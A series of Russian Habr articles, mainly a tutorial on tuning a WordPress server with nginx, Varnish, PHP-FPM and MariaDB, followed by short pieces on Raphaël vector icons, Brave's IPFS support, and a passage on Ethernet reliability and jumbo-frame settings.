В данной статье я расскажу о том, как я заставил свой блог на WordPress летать за счёт грамотного кэширования, сжатия и другой оптимизации серверной и клиентской сторон. На момент написания статьи характеристики VDS следующие:
> CPU: 1 x 2GHz
>
> HDD: 10Gb
>
> RAM: 512Mb
>
> OS: Debian 8 x64
Схема работы системы выглядит следующим образом:
#### Описание работы схемы
Для посетителей сайта происходит перенаправление на HTTPS, где nginx работает в качестве прокси для Varnish, при этом на выходе nginx помимо реализации HTTPS-соединения происходит gzip-сжатие данных, передаваемых пользователю. Следующим элементом в данной системе является HTTP-акселератор Varnish, ожидающий соединения на 6081 порту. Получая запрос от клиента он выполняет поиск запрашиваемого URL в кэше, и в случае его обнаружения мгновенно отдаёт его фронтенду. Таким образом, при наличии запрашиваемого файла в кэше скорость запроса к страницам сокращается до скорости запроса к статическим данным. Если же запрашиваемого файла в кэше не обнаруживается, Varnish передаёт запрос бэкенду. Так же в Varnish реализована оптимизация клиентской стороны — здесь статическим данным устанавливаются заголовки Cache-Control и Expires, указывающие браузеру на необходимость кэширования этих данных на стороне клиента. Таким образом сокращается время загрузки сайта и уменьшается нагрузка на сервер.
В роли бэкенда выступает опять же nginx, ожидающий соединений на 127.0.0.1:81. Интерпретация PHP реализована с помощью FPM. Версия PHP — 5.6 с включенным по умолчанию акселератором OPcache. В качестве СУБД — MariaDB 10, являющаяся одной из лучших по производительности и кушающих в меру оперативную память СУБД среди форков MySQL. В качестве движка таблиц — MyISAM, так как запись производится редко, в основном чтение, для которого данный движок больше оптимизирован. За счёт отключения движка InnoDB реализуется экономия оперативной памяти. Наконец, в качестве CMS функционирует WordPress с установленным плагином Varnish HTTP Purge, отправляющий PURGE-запросы на адреса страниц, на которых были произведены изменения, что приводит к очистке кэша Varnish для данных страниц. Таким образом, пользователь получает всегда актуальную версию сайта. Далее я детально расскажу об установке и настройке данных компонентов, а так же о проблемах, с которыми я столкнулся.
#### Установка и настройка nginx
Устанавливаем:
```
apt-get install nginx
```
Содержимое основного конфига /etc/nginx/nginx.conf:
```
# Пользователь и группа, от имени которых будет запущен процесс
user www-data www-data;
# Число воркеров в новых версиях рекомендовано устанавливать в auto
worker_processes auto;
error_log /var/log/nginx/error.log;
pid /var/run/nginx.pid;
events {
# Максимальное количество соединений одного воркера
worker_connections 1024;
# Метод выбора соединений (для FreeBSD будет kqueue)
use epoll;
# Принимать максимально возможное количество соединений
multi_accept on;
}
http {
# Указываем файл с mime-типами и указываем тип данных по-умолчанию
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Отключить вывод версии nginx в ответе
server_tokens off;
# Метод отправки данных sendfile эффективнее чем read+write
sendfile on;
# Ограничивает объём данных, который может передан за один вызов sendfile(). Нужно для исключения ситуации когда одно соединение может целиком захватить воркер
sendfile_max_chunk 128k;
# Отправлять заголовки и и начало файла в одном пакете
tcp_nopush on;
tcp_nodelay on;
# Сбрасывать соединение если клиент перестал читать ответ
reset_timedout_connection on;
# Разрывать соединение по истечению таймаута при получении заголовка и тела запроса
client_header_timeout 3;
client_body_timeout 5;
# Разрывать соединение, если клиент не отвечает в течение 3 секунд
send_timeout 3;
# Задание буфера для заголовка и тела запроса
client_header_buffer_size 2k;
client_body_buffer_size 256k;
# Ограничение на размер тела запроса
client_max_body_size 12m;
# Отключаем лог доступа
access_log off;
# Подключаем дополнительные конфиги
include /etc/nginx/conf.d/*.conf;
}
```
Создадим файл настроек бэкенда /etc/nginx/conf.d/backend.conf:
```
server {
# Ожидать локального соединения на 81 порту
listen 127.0.0.1:81;
# Корневая директория и индексовый файл
root /var/www/site.ru/public_html;
index index.php;
# Включить gzip-сжатие на выходе бэкенда. В кэш пойдут уже сжатые версии файлов. Здесь происходит сжатие на 9 уровне компрессии. Обратите внимание, среди типов отсутствует text/plain, его мы сжимаем во фронтенде на 1 уровне компрессии, чтобы избежать высокой степени загрузки CPU при отдаче динамических данных
gzip on;
gzip_comp_level 9;
gzip_min_length 512;
gzip_buffers 8 64k;
gzip_types text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript application/javascript image/svg+xml;
gzip_proxied any;
# Имя хоста
server_name site.ru www.site.ru;
# Запрет на доступ к скрытым файлам
location ~ /\. {
deny all;
}
# Запрет на доступ к загруженным скриптам
location ~* /(?:uploads|files)/.*\.php$ {
deny all;
}
# Поиск запрашиваемого URI по трем путям
location / {
try_files $uri $uri/ /index.php?$args;
}
# Добавление слэша в конце для запросов */wp-admin
rewrite /wp-admin$ $scheme://$host$uri/ permanent;
location ~ \.php$ {
# При ошибке 404 выдавать страницу, сформированную WordPress
try_files $uri =404;
# При обращении к php передавать его на интерпретацию FPM
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_pass unix:/var/run/php5-fpm.sock;
}
}
```
На тему детального описания настройки HTTPS в nginx рекомендую к прочтению данную статью: [habrahabr.ru/post/252821](https://habrahabr.ru/post/252821/)
Создаём файл настроек фронтэнда /etc/nginx/conf.d/frontend.conf:
```
server {
# Редирект на HTTPS
listen REAL_IP:80;
server_name site.ru www.site.ru;
return 301 https://$server_name$request_uri;
}
server {
listen 93.170.105.102:443 ssl;
server_name site.ru www.site.ru;
# Устанавливать Keep-Alive соединения с посетителями
keepalive_timeout 60 60;
# Сжатие данных перед отправкой клиенту. Обратите внимание, из типов здесь присутствует только text/plain, для других данных применяется сжатие на бэкенде на более высоком уровне компрессии, после чего эти данные отправляются в кэш. Сделано для того, чтобы избежать нагрузок на CPU при сжатии динамических документов.
gzip on;
gzip_comp_level 1;
gzip_min_length 512;
gzip_buffers 8 64k;
gzip_types text/plain;
gzip_proxied any;
# Отдавать предпочтение шифрам, заданным на сервере
ssl_prefer_server_ciphers on;
# Установка длительности TLS сессии в 2 минуты
ssl_session_cache shared:TLS:2m;
ssl_session_timeout 2m;
# Задание файла, содержащего сертификат сайта и сертификат УЦ
ssl_certificate /etc/ssl/combined.crt;
# Указание закрытого ключа
ssl_certificate_key /etc/ssl/3_site.ru.key;
# Файл с параметрами Диффи-Хеллмана
ssl_dhparam /etc/ssl/dh2048.pem;
# Поддерживаемые протоколы
ssl_protocols TLSv1.2 TLSv1.1 TLSv1;
# Наборы шифров, данный набор включает forward secrecy
ssl_ciphers EECDH+ECDSA+AESGCM:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA512:EECDH+ECDSA+SHA384:EECDH+ECDSA+SHA256:ECDH+AESGCM:ECDH+AES256:DH+AESGCM:DH+AES256:RSA+AESGCM:!aNULL:!eNULL:!LOW:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS;
# Передача Strict-Transport-Secutiry заголовка
add_header Strict-Transport-Security 'max-age=31536000; includeSubDomains';
location / {
# Проксирование на Varnish
proxy_pass http://127.0.0.1:6081/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto https;
proxy_set_header X-Forwarded-Port 443;
}
}
```
Перечитаем конфиги nginx:
```
service nginx reload
```
Теперь при попытке зайти на сайт увидим ошибку 502. Это нормально, так как Varnish пока не запущен.
#### Установка и настройка Varnish
Устанавливаем Varnish:
```
apt-get install varnish
```
Файл параметров запуска располагается здесь — /etc/default/varnish. В DAEMON\_OPTS задаём следующие параметры:
```
DAEMON_OPTS="-a :6081 \
-T 127.0.0.1:6082 \
-f /etc/varnish/default.vcl \
-S /etc/varnish/secret \
-s malloc,128m"
```
-a — задаёт порт, на котором Varnish будет принимать соединения, в нашем случае от фронтенда — nginx;
-T — здесь крутится админка, подробнее в описании к флагу -S;
-f — файл с конфигурацией VCL — специальном языке, предназначенном для определения правил обработки запросов и кэширования в Varnish;
-S — Varnish имеет панель администрирования. Для входа необходимо выполнить команду varnishadm, при этом пользователь должен иметь права на чтение файла /etc/varnish/secret для прохождения аутентификации;
-s указание места хранения кэша и его размер, в данном случае 128Mб в оперативной памяти.
Как вы уже, наверное, поняли, самое интересное нас ждёт в файле с правилами обработки запросов. Во время старта процесса Varnish’а данный файл компилируется. В VCL используется несколько подразделов-функций, в которых описываются эти правила. Кратко расскажу о них, полное описание рекомендую прочитать на официальном сайте.
**sub vcl\_recv** — данная функция используется когда приходит запрос от клиента;
**sub vcl\_pass** — выполняется, когда запрос клиента необходимо передать напрямую бэкенду, не кэшировать и не искать соответствия в кэше;
**sub vcl\_hash** — определяет правила кэширования, можно использовать несколько хранилищ для одного и того же документа, в зависимости от разных условий, например, поддержки сжатия клиентом, или каких-либо других особенностей клиента. В нашем случае не будет использоваться, так как клиент у нас для Varnish’а один — nginx на фронтенде;
**sub vcl\_backend\_response** — данная функция используется когда приходит запрос от бэкенда (nginx);
**sub vcl\_deliver** — используется непосредственно перед отправкой данных клиенту, например, для добавления/изменения заголовков.
Схема работы компонентов VCL может быть представлена следующим образом:
Если обращение к бэкенду происходит при этом из функции vcl\_miss ответ бэкенда отправляется и в кэш. Сам язык очень похож на C. Приступим к настройке. Открываем файл /etc/varnish/default.vcl и начинаем кодить:
```
# Сообщаем компилятору о том, что используется новая версия VCL 4
vcl 4.0;
# Настройки бэкенда
backend default {
.host = "127.0.0.1";
.port = "81";
}
# Диапазон IP/Хостов, которым разрешено выполнять PURGE-запросы для очистки кэша
acl purge {
"localhost";
"127.0.0.1";
}
# Получение запроса от клиента
sub vcl_recv {
# Разрешить очистку кэша вышеописанному диапазону
if (req.method == "PURGE") {
# Если запрос не из списка, то разворачивать
if (!client.ip ~ purge) {
return(synth(405, "This IP is not allowed to send PURGE requests."));
}
return (purge);
}
# POST-запросы а также страницы с Basic-авторизацией пропускать
if (req.http.Authorization || req.method == "POST") {
return (pass);
}
# Пропускать админку и страницу входа
if (req.url ~ "wp-(login|admin)" || req.url ~ "preview=true") {
return (pass);
}
# Пропускать sitemap и файл robots, у меня sitemap генерируется плагином Google XML Sitemaps
if (req.url ~ "sitemap" || req.url ~ "robots") {
return (pass);
}
# Удаляем cookies, содержащие "has_js" и "__*", добавляемые CloudFlare и Google Analytics, так как Varnish не будет кэшировать запросы, для которых установлены cookies.
set req.http.Cookie = regsuball(req.http.Cookie, "(^|;\s*)(_[_a-z]+|has_js)=[^;]*", "");
# Удаление префикса ";" в cookies, если вдруг будет обнаружен
set req.http.Cookie = regsub(req.http.Cookie, "^;\s*", "");
# Удаляем Quant Capital cookies (добавляются некоторыми плагинами)
set req.http.Cookie = regsuball(req.http.Cookie, "__qc.=[^;]+(; )?", "");
# Удаляем wp-settings-1 cookie
set req.http.Cookie = regsuball(req.http.Cookie, "wp-settings-1=[^;]+(; )?", "");
# Удаляем wp-settings-time-1 cookie
set req.http.Cookie = regsuball(req.http.Cookie, "wp-settings-time-1=[^;]+(; )?", "");
# Удаляем wp test cookie
set req.http.Cookie = regsuball(req.http.Cookie, "wordpress_test_cookie=[^;]+(; )?", "");
# Удаляем cookie, состоящие только из пробелов (или вообще пустые)
if (req.http.cookie ~ "^ *$") {
unset req.http.cookie;
}
# Для статических документов удаляем все cookies, пусть себе кэшируются
if (req.url ~ "\.(css|js|png|gif|jp(e)?g|swf|ico|woff|svg|htm|html)") {
unset req.http.cookie;
}
# Если установлены cookies "wordpress_" или "comment_" пропускаем напряиую к бэкенду
if (req.http.Cookie ~ "wordpress_" || req.http.Cookie ~ "comment_") {
return (pass);
}
# Если cookie не найдено, удаляем данный параметр из пришедшего запроса как таковой
if (!req.http.cookie) {
unset req.http.cookie;
}
# Не кэшировать запросы с установленными cookies, это уже не касается WordPress
if (req.http.Authorization || req.http.Cookie) {
# Not cacheable by default
return (pass);
}
# Кэшировать всё остальное
return (hash);
}
sub vcl_pass {
return (fetch);
}
sub vcl_hash {
hash_data(req.url);
return (lookup);
}
# Приём ответа от бэкенда
sub vcl_backend_response {
# Удаляем ненужные заголовки
unset beresp.http.Server;
unset beresp.http.X-Powered-By;
# Не хранить в кэше robots и sitemap
if (bereq.url ~ "sitemap" || bereq.url ~ "robots") {
set beresp.uncacheable = true;
set beresp.ttl = 30s;
return (deliver);
}
# Для статических файлов, которые отдаёт бэкенд...
if (bereq.url ~ "\.(css|js|png|gif|jp(e?)g)|swf|ico|woff|svg|htm|html") {
# Удаляем все куки
unset beresp.http.cookie;
# Устанавливаем срок хранения в кэше - неделю
set beresp.ttl = 7d;
# Устанавливаем заголовки Cache-Control и Expires, сообщая браузеру о том, что эти файлы стоит сохранить в кэше клиента и не нагружать лишниий раз наш сервер
unset beresp.http.Cache-Control;
set beresp.http.Cache-Control = "public, max-age=604800";
set beresp.http.Expires = now + beresp.ttl;
}
# Не кэшировать админку и страницу логина
if (bereq.url ~ "wp-(login|admin)" || bereq.url ~ "preview=true") {
set beresp.uncacheable = true;
set beresp.ttl = 30s;
return (deliver);
}
# Разрешить устанавливать куки только при обращении к этим путям, всё остальное будет резаться
if (!(bereq.url ~ "(wp-login|wp-admin|preview=true)")) {
unset beresp.http.set-cookie;
}
# Не кэшировать результат ответа на POST-запрос или Basic авторизации
if ( bereq.method == "POST" || bereq.http.Authorization ) {
set beresp.uncacheable = true;
set beresp.ttl = 120s;
return (deliver);
}
# Не кэшировать результаты поиска
if ( bereq.url ~ "\?s=" ){
set beresp.uncacheable = true;
set beresp.ttl = 120s;
return (deliver);
}
# Не кэшировать страницы ошибок, только нужные вещи в кэше!
if ( beresp.status != 200 ) {
set beresp.uncacheable = true;
set beresp.ttl = 120s;
return (deliver);
}
# Хранить в кэше всё прочее на протяжении одного дня
set beresp.ttl = 1d;
# Срок жизни кэша после истечения его TTL
set beresp.grace = 30s;
return (deliver);
}
# Действия перед отдачей результата пользователю
sub vcl_deliver {
# Удаляем ненужные заголовки
unset resp.http.X-Powered-By;
unset resp.http.Server;
unset resp.http.Via;
unset resp.http.X-Varnish;
return (deliver);
}
```
После чего выполняем команду:
```
service varnish restart
```
Перейдя теперь в браузере на наш сайт, мы увидим index.php, который нужно предварительно создать.
##### Проблема Varnish и Debian 8
А что если вы захотите изменить порт, на котором Varnish будет принимать входящие соединения или изменить объём кэша. Судя по официальной документации нужно изменить файл с параметрами запуска Varnish, располагающийся по пути: /etc/default/varnish и перезапустить сервис. Но нет! Ничего не изменится, и если мы зайдём в top и нажмем на клавишу ‘c’, то увидим, что сервис запущен с прежними настройками. А всё дело в том, что в новой версии Debian используется systemd вместо init.d в качестве системы инициализации, и поэтому нужно зайти в файл /lib/systemd/system/varnish.service и прописать там в директиве ExecStart те же параметры запуска:
```
[Unit]
Description=Varnish HTTP accelerator
[Service]
Type=forking
LimitNOFILE=131072
LimitMEMLOCK=82000
ExecStartPre=/usr/sbin/varnishd -C -f /etc/varnish/default.vcl
ExecStart=/usr/sbin/varnishd -a :6081 -T 127.0.0.1:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,128m
ExecReload=/usr/share/varnish/reload-vcl
[Install]
WantedBy=multi-user.target
```
После сохранения выполнить следующие команды для вступления изменений в силу:
```
systemctl daemon-reload
service varnish restart
```
В данный момент данная проблема отписана разработчикам, когда и как они её решат — неизвестно, поэтому на всякий случай производите одинаковые изменения в обоих файлах, чтобы однажды после апдейта всё не упало.
#### Установка и настройка PHP-FPM
Устанавливаем FPM и библиотеку PHP для работы с СУБД:
```
apt-get install php5-fpm php5-mysqlnd
```
Заходим в файл конфигурации /etc/php5/fpm/pool.d/www.conf и меняем директиву:
```
listen = 127.0.0.1:9000
```
На следующее:
```
listen = /var/run/php5-fpm.sock
```
В этом же файле задаём настройки воркеров:
```
; Динамическое изменение количества воркеров
pm = dynamic
; Максимальное число воркеров, создаются под нагрузкой, не может быть меньше pm.max_spare_servers.
pm.max_children = 10
; Сколько воркеров запускать при старте FPM
pm.start_servers = 1
; Минимальное количество запасных воркеров (остаются в памяти при отсутствии нагрузки)
pm.min_spare_servers = 1
; Максимальное количество запасных воркеров (при простое, остальные неиспользуемые будут завершаться)
pm.max_spare_servers = 3
; Максимальное количество запросов, которые выполняет один воркер, прежде чем перезапуститься
pm.max_requests = 500
```
Меняем несколько директив в /etc/php5/fpm/php.ini
```
upload_max_filesize = 10M
post_max_size = 12M
allow_url_fopen = Off
```
post\_max\_size задаём чуть больше, чем upload\_max\_filesize, так как помимо файла в запросе идут другие данные.
Здесь же директивой allow\_url\_fopen запрещаем выполнять скрипты, расположенные удаленно (убирая возможность эксплуатации уязвимости удалённого инклуда).
И говорим FPM перечитать конфиг:
```
service php5-fpm reload
```
Теперь создайте файлик, выводящий phpinfo() и обратитесь к нему в браузере, всё должно работать. Не забывайте, что он уже закэшировался в Varnish и если вы будете изменять конфигурацию PHP, то она не будет обновляться в вашем браузере. Можете написать правило на пропуск данного файла в Varnish, либо же на время тестов проксировать не Varnish, а напрямую бэкенд на 81 порту.
#### Установка и настройка MariaDB
Эту СУБД я выбрал по причине её лучшей производительности и способности выдерживать большие нагрузки, при этом затрачивая меньшее количество оперативной памяти по сравнению с MySQL, а так же её полной совместимостью с WordPress. Установка очень проста, будет запрошен пароль для пользователя root.
```
apt-get install mariadb-server
```
В качестве движка для таблиц я использую MyISAM, по причине того, что запись в таблицу выполняется редко, а на чтении MyISAM показывает лучшие характеристики. Я полностью отключил поддержку InnoDB для освобождения оперативной памяти. Настройки хранятся в файле /etc/mysql/my.cnf. Опишу только те директивы, которые я изменил:
```
# Кэш для работы с ключами и индексами
key_buffer = 64M
# Кэш запросов
query_cache_size = 32M
# Установка MyISAM в качестве стандартного движка
default-storage-engine=MyISAM
# Отключение движка InnoDB
skip-innodb
```
После сохранения изменений перезапускаем сервис:
```
service mysql restart
```
#### Настройка WordPress — плагин «Varnish HTTP Purge»
Устанавливаем в панели администрирования WP плагин «Varnish HTTP Purge». Теперь при обновлении данных на измененные страницы будет отправлен PURGE-запрос, очищающий кэш в Varnish, и для посетителей данные всегда будут обновлёнными.
#### Дополнительная оптимизация
Для оптимизации клиентской стороны с помощью Varnish мы указываем браузеру на необходимость хранения статических данных в локальном кэше клиента. Но если вы жаждете ещё большей оптимизации, перейдите на страничку [developers.google.com/speed/pagespeed/insights](https://developers.google.com/speed/pagespeed/insights/) и введите URL вашего сайта или даже конкретной страницы. Вам предоставится список рекомендаций, а так же предложат архив со сжатыми версиями ваших css и js стилей. Замените их на своём сайте и получите ещё большую скорость загрузки за счёт уменьшенного объема передаваемых данных, так же уменьшится нагрузка на сервер и место, занимаемое данными файлами в кэше.
Как поступить с документами, запрашиваемыми со сторонних серверов, например, шрифтами или библиотекой jquery? Можно перенести их к себе, и тут за счёт установки соединения только с одним сервером возрастёт скорость загрузки страниц, однако, в то же время, возрастёт список обращений и общая нагрузка. Какой вариант выбрать — решайте сами, в зависимости от загруженности вашего сервера и вашей лени.
#### Итог
По большей части наибольший эффект дали сжатие gzip и кэширование в Varnish. В комментариях уже написали много дополнительных методов оптимизации, которые я непременно изучу и по мере необходимости внедрю. Пока же результаты оптимизации следующие:
До
[](https://habrastorage.org/files/622/400/1b1/6224001b1e86426eb2a4863a67c2437d.png)
После
[](https://habrastorage.org/getpro/habr/comment_images/acc/549/ace/acc549ace3077eb20a4b7379656bde64.png)
Полноценные стресс-тесты проведу чуть позже.
Источник: [webshake.ru/post/206](https://webshake.ru/post/206) | https://habr.com/ru/post/278189/ | null | ru | null |
# Векторные иконки на HTML5 + JS
[](http://raphaeljs.com/icons/)
На первый взгляд это обычные одноцветные иконки, но если призумить — их качество не ухудшится. Очевидный профит таких иконок: с ними можно свободно экспериментировать и не переживать за высоту и ширину, компактный вид, а не куча файлов в папке icons, ну и наверное маленький размер, хотя с этим поспорить можно. Есть некоторые ограничители в цвете, возможен один цвет либо градиент (но думаю с конвертером нарисованного вектора в js код, возможно и больше цветов)
[Смотреть](http://raphaeljs.com/icons/) иконки
Если вы хотите использовать эти иконки или создавать свои на подобной основе, кликайте по иконке — внизу появится код выбранной иконки, он вставляется в:
`paper.path(<код иконки>).attr({fill: "#000", stroke: "none"});`
Поддержку иконок на себя берет [Raphaël](http://raphaeljs.com/) JS Lib
[Источник](http://www.html5dev.ru/tools/2010/12/22/vektornye-ikonki-na-html5-js.html) | https://habr.com/ru/post/110526/ | null | ru | null |
# Браузер Brave первым добавил поддержку IPFS
*С выпуском версии 1.19 пользователи Brave могут напрямую получать доступ к содержимому распределённой файловой системы IPFS, вводя URI, начинающиеся с ipfs://*
Brave стал первым браузером, который [внедрил поддержку](https://www.brave.com/brave-integrates-ipfs) пирингового сетевого протокола [IPFS](https://ipfs.io/). Это относительно малоизвестный транспортный протокол, который обещает улучшить доминирующий стандарт HTTP, сделав загрузку контента более быстрой (теоретически), а сайты — более устойчивыми к сбоям и цензуре.
Если вкратце, вместо размещения информации на центральных серверах, контентно-адресуемый, одноранговый гипермедийный протокол IPFS предусматривает размещение в сети распределённых узлов. Этот P2P-протокол в каком-то смысле можно сравнить с торрентами. Каждый ресурс скачивается по хешу, а не по обычному URL. Вы вводите URI с мультихешем, а сеть находит, где хранятся фрагменты этого контента. По сути, узлы IPFS-сети формируют распределённую файловую систему. IPFS можно представить как единый BitTorrent-рой, обменивающийся файлами единого Git-репозитория.
Преимущества нового подхода включают в себя более высокую скорость, поскольку данные могут распространяться и храниться ближе к людям, которые получают к ним доступ, а также более низкие затраты на сервер для того, кто первоначально выкладывает контент в Сеть. Но самое главное, что IPFS обладает потенциалом сделать контент гораздо более устойчивым к сбоям и цензуре.
У браузера Brave в настоящее время аудитория 24 миллиона активных пользователей в месяц. Он [давно продвигает IPFS](https://blog.ipfs.io/2019-10-08-ipfs-browsers-update/) и работал над стандартом с 2018 года. Но с выпуском версии 1.19 пользователи Brave могут напрямую получать доступ к содержимому IPFS, вводя URI, начинающиеся с ipfs://. Они также могут выбрать установку «полного узла IPFS в один клик», сделав свой браузер узлом в одноранговой сети.
«IPFS решает для пользователей проблему централизованных серверов, создающих центральную точку отказа при доступе к контенту, — говорит технический директор Brave Брайан Бонди. — Это даёт возможность беспрепятственно распространять контент миллионам новых пользователей по всему миру с помощью нового и безопасного протокола».
Руководитель проекта IPFS Молли Маккинлей добавляет, что децентрализация интернета через IPFS поможет преодолеть «системную цензуру данных» от правительств и техномонополий: «Сегодня пользователи веба по всему миру не могут получить доступ к запрещённым материалам, включая, например, части Википедии в Таиланде. В Турции заблокировано более 100 000 сайтов, а в Китае блокируется критически важный доступ к информации о COVID-19. Теперь любой человек с подключением к интернету может получить доступ к этой важной информации с помощью IPFS и браузера Brave».
Каждый узел в сети IPFS является потенциальным хостом для запрашиваемого контента, и если на узле нет этого контента, он может получить его из роя одноранговых узлов. Полученное содержимое проверяется локально, что устраняет необходимость проверять целостность у третьей стороны.
IPFS идентифицирует контент по путям и/или идентификаторам контента Content identifier ([CID](https://docs.ipfs.io/concepts/content-addressing/)) внутри Uniform Resource Identifier (URI), а не по URL-адресам.
Вот пример URI в IPFS:
`ipfs://bafybeiemxf5abjwjbikoz4mc3a3dla6ual3jsgpdr4cjr3oz3evfyavhwq/wiki/Vincent_van_Gogh.html`
Начиная с версии Brave 1.19 вы можете взять этот адрес, вставить его в адресную строку Brave и загрузить контент.
По умолчанию Brave загружает URI через общедоступный HTTP-шлюз, однако при этом предложит установить локальный узел для работы с URI IPFS. Если пользователь согласится, Brave автоматически загрузит go-ipfs в качестве компонента и будет направлять будущий трафик через этот узел. Узел работает автоматически и не требует ручного вмешательства или использования расширения. Пользователь может дополнительно установить расширение IPFS Companion, и оно предложит использовать управляемый узел Brave.
Если вы настроили IPFS для локального узла, он сохранит схему (ipfs: или ipns:) в адресной строке. Эта опция позволит проверять содержимое доступных CID локально, а также получить доступ к ранее просмотренному содержимому IPFS в автономном режиме. Локальный узел также вносит свой вклад в прочность сети IPFS.
Если использовать сторонний шлюз, в адресной строке будет показан перенаправленный URL-адрес на сервере шлюза. В этом случае пользователь не затрачивает лишние системные ресурсы и просто получает доступ к контенту IPFS.
Поддержка IPFS в Brave разработана таким образом, чтобы свести к минимуму влияние на системные ресурсы. Если Brave настроен на использование локального узла IPFS, то этот узел будет лениво загружен только при обращении к первому URI IPFS. Если Brave настроен на использование общедоступного шлюза, узел IPFS никогда не загружается.
Компонент go-ipfs управляет хранилищем данных и настроен на сборку мусора каждый час, если кэш находится на уровне 90% от максимального объема хранилища (1 ГБ). Когда пользователь очищает данные браузера для кэшированных изображений и файлов, также запускается сборка мусора для сохранённого содержимого IPFS, которым управляет go-ipfs. При этом удаляется весь контент IPFS, за исключением закреплённого.
В будущем Brave не исключает, что будет разрешена работа IPFS через окна в режиме инкогнито, сохраняя отдельную конфигурацию и кэш, который автоматически очищается по окончании сеанса. | https://habr.com/ru/post/538196/ | null | ru | null |
# Ненадёжный Ethernet
В продолжение предыдущей статьи "[Ethernet & FC](http://habrahabr.ru/post/224869/)", хотел бы дать конкретные рекомендации по оптимизации Ethernet сети для работы с СХД NetApp FAS. Хотя, полагаю, многие вещи описанные здесь могут быть полезны и для других решений.
##### [Ненадёжный Ethernet](#Unreliable_Ethernet)
Для тех, кто сильно сомневается в «надёжности» Ethernet. Не то чтобы хочу переубедить тотально переходить с FC8G на 10GBE, но хочу убрать некий ареол недоверия и непонимания технологии. Любой технический специалист должен всегда подходить к вопросу рационально и с «холодной головой». В тоже время заявления о том, что «Ethernet теряет фреймы» сложно назвать «не предвзятым подходом» и «не субъективным мышлением». Предлагаю рассмотреть откуда же взялось это устойчивое мнение о ненадёжности Ethernet, чтобы или развенчать все сомнения или их подтвердить имея на то конкретные обоснования.
Итак началось всё с рождения стандарта, когда Ethernet был 10МБит/с который использовал разделяемую среду коаксиального кабеля. При этом передача информации была «полудуплексная», т.е. в один момент время могла осуществляться одним узлом или передача или приём информации. Чем больше узлов сети в одном таком домене, тем больше было коллизий усугубляя ситуацию «полудуплексностью», здесь действительно терялись фреймы. Потом Ethernet шагнул дальше начал использовать витую пару дав задел на будущее, но глупые хабы точно также объединяли все узлы сети в один домен коллизии и ситуация по сути не изменилась. Появились умные устройства, с гордым названием «коммутаторы», они не просто дублировали фреймы с одного своего порта на другой, они залазили внутрь фрейма и запоминали адреса и порты откуда фреймы приходили и передавали их только на порт получателя. И всё было бы хорошо, но коллизии по-прежнему в каком-то виде остались даже в 100МБит/с сетях, не смотря на то что домен коллизии дробился и сводился только к узлу с портом коммутатора, которые в однодуплексном режиме «натыкались» на коллизии когда пытались одновременно отослать друг-другу свой фрейм. То что произошло дальше — появилась «дуплексность» (10BASE-T, IEEE 802.3i), т.е. каждый узел мог одновременно и принимать и передавать фреймы по разным линкам: две пары RX и TX для узала и две для коммутатора. В 1GBE полудуплексного режима больше вообще не существует. Что это значит? Коллизии пропали навсегда… Их больше нет. Осталось две детские болезни Ethernet, тесно связанные друг с другом это то, что коммутаторы при переполнении своего буфера могли «забывать» фреймы, а случалось это как правило из-за «закольцовок» (Ethernet Loop). Эти проблемы решили соответственно: 1) DCB дополнение для протокола Ethernet известное также как Lossless Ethernet — это набор протоколов козволяющих как и в случае FC не терять фреймы. 2) Просто добавили больше памяти в коммутаторы уровня ЦОД. 3) А сеть 10GBE и компания Cisco в частности шагнули дальше и предложили TRILL в своей линейке [Nexus](http://habrahabr.ru/company/cisco/blog/229891/) коммутаторов для ЦОД. Протокол TRILL и FabricPath, которые просто определяет назначение нового поля *hop count* в Ethernet фрейме по аналогии с полем *time to live* в IP пакете для предотвращения закольцовок, а также некоторых других функций «заимствованных» у IP, избавив таким образом Ethernet от последних детских болезней.
##### [Jumbo Frame](#jumboframe)
В случае использования протоколов NFS, iSCSI, CIFS рекомендуется по возможности включать *jumbo frame*, на коммутаторах и хостах. СХД NetApp поддерживает на данный момент размер MTU 9000, что пока что является максимальным значением для Ethernet 10GB. В этом случае *jumbo frame* должны быть включены на всём пути следования Ethernet фреймов: от источника до получателя. К сожалению не во всех коммутаторах и не на всех сетевых адаптерах хостов поддерживается «максимальный» на данный момент MTU, так к примену некоторые блейд-шасси HP с серверами и встроенными 10GB коммутаторами поддерживают максимум 8000 MTU, для таких случаев на стороне СХД необходимо подбирать наиболее подходящее значение MTU. Так как есть некотарая путаница в том, что такое MTU, есть трудности с пониманием какое значение MTU нужно настроить. Так к примеру для нормальной работы СХД NetApp с установленным значением MTU 9000 на Ethernet интерфейсе будет «нормально» работать со свичами у которы значение MTU установлено в одно из значений: 9000 (Catalyst 2970/2960/3750/3560 Series), 9198 (Catalyst 3850), 9216 (Cisco Nexus 3000/5000/7000/9000, Catalyst 6000/6500 / Cisco 7600 OSR Series), на других это значение вообще должно быть 9252. Как правило, установив MTU на свиче в максимально допустимое значение (выше или равно 9000), всё будет работать. Для разъяснения, рекомендую прочесть соответствующую статью [Maximum Transmission Unit (MTU). Мифы и рифы](http://habrahabr.ru/post/226807/).
###### [Jumbo Frames в Cisco UCS](#Jumbo_Frames_UCS)
Выполняем инастройку из командной строки на каждом Fabric Interconnect:
```
system jumbomtu 9216
policy-map type network-qos jumbo
class type network-qos class-default
mtu 9216
multi-cast-optimize
exit
system qos
service-policy type network-qos jumbo
exit
copy run start
```
**Либо из GUI интерфейса UCS Manager**В настройках UCS Manager при работе с Ethernet настраиваем MTU во вкладке «Lan > Lan Cloud > QoS System Class», прописываем MTU одному выбранному классу.
Потом создаём «QoS политику»
Создаём vNIC template
Привязываем к сетевому интерфейсу сервера.
##### [FlowControl](#flowcontrol)
